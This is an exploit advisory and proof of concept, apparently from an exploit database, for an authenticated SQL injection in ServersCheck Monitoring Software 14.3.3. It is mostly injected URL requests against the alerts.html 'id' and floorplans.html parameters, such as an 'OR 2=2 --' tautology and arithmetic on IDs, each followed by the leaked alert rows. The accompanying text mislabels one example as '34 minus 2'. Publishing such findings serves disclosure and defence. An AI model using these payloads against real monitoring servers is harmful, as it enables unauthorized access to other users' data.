ServersCheck Monitoring Software 14.3.3 - 'id' SQL Injection

# Exploit Title: ServersCheck Monitoring Software 14.3.3 - 'id' SQL Injection
# Author: John Page (aka hyp3rlinx)	
# Date: 2018-10-23
# Vendor: www.serverscheck.com
# Software link: http://downloads.serverscheck.com/monitoring_software/setup.exe
# CVE: N/A
# References:
# https://serverscheck.com/monitoring-software/release.asp
# http://hyp3rlinx.altervista.org/advisories/CVE-2018-18550-SERVERSCHECK-MONITORING-SOFTWARE-SQL-INJECTION.txt

# Security Issue
# ServersCheck Monitoring Software allows for SQL Injection by an authenticated user 
# via the alerts.html "id" parameter.

# Exploit/POC
http://127.0.0.1:1272/alerts.html?id=18391

Result:
Alerts History for SENSORXY
No data available in table

Then using 'OR+2=2,

http://127.0.0.1:1272/alerts.html?id=18391+'OR+2=2+--+

Result:

Alerts History for test
155 	a day ago 	CPU on 127.0.0.1 	Status Change 	DOWN to OK 	
154 	a day ago 	CPU on 127.0.0.1 	Status Change 	OK to DOWN 	
153 	a day ago 	test 	Status Change 	OK to DOWN 	Unable to connect to host


# SQL Injection - original page results successfully manipulated using 18391-2
# Examples:

http://127.0.0.1:1272/alerts.html?id=18391
No data available in table

Then using 34 minus 2,

http://127.0.0.1:1272/alerts.html?id=18391-2
153 	a day ago 	test 	Status Change 	OK to DOWN 	Unable to connect to host

and minus 1,

http://127.0.0.1:1272/alerts.html?id=18391-1
155 	a day ago 	CPU on 127.0.0.1 	Status Change 	DOWN to OK 	
154 	a day ago 	CPU on 127.0.0.1 	Status Change 	OK to DOWN


http://127.0.0.1:1272/floorplans.html?floorplan=34
Floor Plan PLANXY

Then using 34 minus 2,

http://127.0.0.1:1272/floorplans.html?floorplan=34-2
Floor Plan 0